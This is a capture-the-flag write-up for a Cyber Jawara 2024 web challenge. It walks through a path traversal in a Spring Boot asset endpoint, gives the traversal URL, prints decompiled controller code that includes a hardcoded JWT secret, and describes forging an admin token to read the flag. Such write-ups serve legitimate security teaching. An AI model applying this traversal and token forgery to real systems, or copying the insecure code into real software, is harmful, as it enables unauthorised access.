---
# System prepended metadata

title: Cyber Jawara International 2024 Web Exploitation Writeup

---

# Cyber Jawara 2024 Web Exploitation Writeup

solver by: Swusjask Fans Club


## java Box


> I used to hate black box web challenges in CTFs, but then I remembered, my day job as a pentester also requires black box testing. Sometimes, what seems like a black box isn’t so black after all.

Given a springboot java challenge with register and login functionality. Interesting information can be found when accessing either **/assets** or **/assets/**.

Accessing **/assets**:
```
java.lang.StringIndexOutOfBoundsException: begin 8, end 7, length 7\n\tat java.base/java.lang.String.checkBoundsBeginEnd(String.java:4601)
...
...
...
...
```

Accessing **/assets/**:
```
java.lang.Exception: getResourceAsStream failed\n\tat com.cyberjawara.chall.web.javabox.controller.MainController.getAssetFile(MainController.java:95)
...
...
...
```

Seems like the backend expecting resource path while accessing **/assets/\*\***. After a lot of trial and error, we found out the vulnerability was a path traversal. This can be confirmed by accessing the MainController.class, which would return us the compiled java code of the MainController.java 

Access:
```
/assets/../com/cyberjawara/chall/web/javabox/controller/MainController.class
```

return:

![image](https://hackmd.io/_uploads/r1_YCu3xyx.png)

Decompile it and the we can read the MainController code
```java
package com.cyberjawara.chall.web.javabox.controller;

import com.cyberjawara.chall.web.javabox.util.JwtUtil;
import io.jsonwebtoken.Claims;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.nio.file.Files;
import java.nio.file.Path;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.CookieValue;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
/* loaded from: MainController.class */
public class MainController {
    @GetMapping({"/"})
    public String index() {
        return "index";
    }

    @GetMapping({"/register"})
    public String registerPage() {
        return "register";
    }

    @PostMapping({"/register"})
    public String register(@RequestParam String username, @RequestParam String password, HttpServletResponse response) {
        if (username != null && password != null && username.length() > 3 && password.length() > 3) {
            String jwt = JwtUtil.generateToken(username, false);
            Cookie cookie = new Cookie("jwt", jwt);
            cookie.setHttpOnly(true);
            cookie.setPath("/");
            response.addCookie(cookie);
            return "redirect:/dashboard";
        }
        return "redirect:/register";
    }

    @GetMapping({"/dashboard"})
    public String dashboard(@CookieValue(value = "jwt", defaultValue = "") String jwt, Model model) {
        try {
            Claims claims = JwtUtil.validateToken(jwt);
            String username = (String) claims.get("username", String.class);
            Boolean isAdmin = (Boolean) claims.get("isAdmin", Boolean.class);
            if (isAdmin.booleanValue()) {
                try {
                    BufferedReader br = new BufferedReader(new FileReader("/flag.txt"));
                    try {
                        String content = br.readLine();
                        model.addAttribute("flag", content);
                        br.close();
                    } catch (Throwable th) {
                        try {
                            br.close();
                        } catch (Throwable th2) {
                            th.addSuppressed(th2);
                        }
                        throw th;
                    }
                } catch (IOException e) {
                }
            }
            model.addAttribute("username", username);
            model.addAttribute("isAdmin", isAdmin);
            return "dashboard";
        } catch (Exception e2) {
            return "redirect:/register";
        }
    }

    @GetMapping({"/logout"})
    public String logout(HttpServletResponse response) {
        Cookie jwtCookie = new Cookie("jwt", "");
        jwtCookie.setMaxAge(0);
        jwtCookie.setPath("/");
        jwtCookie.setHttpOnly(true);
        response.addCookie(jwtCookie);
        return "redirect:/";
    }

    @GetMapping({"/assets/**"})
    public ResponseEntity<byte[]> getAssetFile(HttpServletRequest request) throws Exception {
        String requestURI = request.getRequestURI();
        String resourcePath = "/assets/" + requestURI.substring("/assets/".length());
        try {
            InputStream inputStream = getClass().getResourceAsStream(resourcePath);
            if (inputStream != null) {
                try {
                    if (hasExtension(resourcePath)) {
                        byte[] fileContent = inputStream.readAllBytes();
                        String mimeType = Files.probeContentType(Path.of(resourcePath, new String[0]));
                        if (mimeType == null) {
                            if (resourcePath.endsWith(".css")) {
                                mimeType = "text/css";
                            } else {
                                mimeType = "text/plain";
                            }
                        }
                        HttpHeaders headers = new HttpHeaders();
                        headers.setContentType(MediaType.parseMediaType(mimeType));
                        ResponseEntity<byte[]> responseEntity = new ResponseEntity<>(fileContent, headers, HttpStatus.OK);
                        if (inputStream != null) {
                            inputStream.close();
                        }
                        return responseEntity;
                    }
                } finally {
                }
            }
            throw new Exception("getResourceAsStream failed");
        } catch (IOException e) {
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body((Object) null);
        }
    }

    public static boolean hasExtension(String filename) {
        int dotIndex;
        return filename != null && !filename.isEmpty() && filename.length() >= 3 && (dotIndex = filename.lastIndexOf(46)) > 0 && dotIndex < filename.length() - 2;
    }
}
```

Great!!

Next, our mission is to get the admin privilege. To achieve it, we need to get the secret key used by the app to craft the JWT Session. The key can be found in **com.cyberjawara.chall.web.javabox.util.JwtUtil;**. Using the same process as before, we can get the JwtUtil.java code:

```java
package com.cyberjawara.chall.web.javabox.util;

import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import java.util.Date;
import java.util.Map;

/* loaded from: JwtUtil.class */
public class JwtUtil {
    private static final String SECRET_KEY = "c31bcd4ffcff8e971a6ad6ddcbdc613a1246f4223c00fa37404b501ad749257c";

    public static String generateToken(String username, boolean isAdmin) {
        return Jwts.builder().setClaims(Map.of("username", username, "isAdmin", Boolean.valueOf(isAdmin))).setExpiration(new Date(System.currentTimeMillis() + 3600000)).signWith(SignatureAlgorithm.HS256, SECRET_KEY).compact();
    }

    public static Claims validateToken(String token) {
        return (Claims) Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token).getBody();
    }
}
```

secret key retrieved!!!

Next step is to craft the token with admin access using the key we found.

Using token.dev, we can generate the new token:
![image](https://hackmd.io/_uploads/HkbYlF2lkx.png)

Set it as our cookie and we can get the flag

![image](https://hackmd.io/_uploads/HJmjgFnx1l.png)
